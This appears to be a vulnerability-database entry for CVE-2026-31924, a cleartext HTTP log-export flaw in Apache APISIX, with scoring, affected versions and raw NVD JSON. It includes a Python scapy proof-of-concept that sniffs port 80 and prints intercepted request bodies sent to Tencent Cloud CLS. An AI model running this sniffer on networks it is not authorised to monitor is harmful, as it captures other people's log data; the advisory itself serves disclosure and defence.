Security Vulnerability Report
中文
CVE-2026-31924 CVSS 5.3 MEDIUM

CVE-2026-31924

Published: 2026-04-14 09:16:36
Last Modified: 2026-04-17 18:38:47

Description

Cleartext Transmission of Sensitive Information vulnerability in Apache APISIX. tencent-cloud-cls log export uses plaintext HTTP This issue affects Apache APISIX: from 2.99.0 through 3.15.0. Users are recommended to upgrade to version 3.16.0, which fixes the issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:* - VULNERABLE
Apache APISIX >= 2.99.0, <= 3.15.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for detecting cleartext HTTP traffic to CLS # This script sniffs the network interface for unencrypted HTTP packets destined for Tencent Cloud CLS import scapy.all as scapy from scapy.layers.inet import IP, TCP from scapy.layers.http import HTTPRequest, HTTPResponse # Requires scapy-http TARGET_DOMAIN = "cls.tencentyun.com" def packet_callback(packet): if packet.haslayer(HTTPRequest): host = packet[HTTPRequest].Host.decode('utf-8') if packet[HTTPRequest].Host else "" if TARGET_DOMAIN in host: print(f"[!] Detected Cleartext HTTP Request to {TARGET_DOMAIN}") print(f" Source IP: {packet[IP].src}:{packet[TCP].sport}") print(f" Dest IP: {packet[IP].dst}:{packet[TCP].dport}") print(f" Path: {packet[HTTPRequest].Path.decode('utf-8')}") # Check if the request contains sensitive log data in the body (if any) if packet.haslayer(scapy.Raw): print(f" Data Snippet: {packet[scapy.Raw].load[:100]}...") print(f"[*] Starting sniffer for cleartext traffic to {TARGET_DOMAIN}...") # Usage: python3 poc.py scapy.sniff(store=False, prn=packet_callback, filter="tcp port 80")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31924", "sourceIdentifier": "[email protected]", "published": "2026-04-14T09:16:35.953", "lastModified": "2026-04-17T18:38:47.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cleartext Transmission of Sensitive Information vulnerability in Apache APISIX.\n\ntencent-cloud-cls log export uses plaintext HTTP\nThis issue affects Apache APISIX: from 2.99.0 through 3.15.0.\n\nUsers are recommended to upgrade to version 3.16.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.99.0", "versionEndExcluding": "3.16.0", "matchCriteriaId": "AA885B02-B64C-4946-AC4D-C8676B535381"}]}]}], "references": [{"url": "https://lists.apache.org/thread/sqxjjlt87c1q28db28ztdxylm5pgwohq", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/14/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}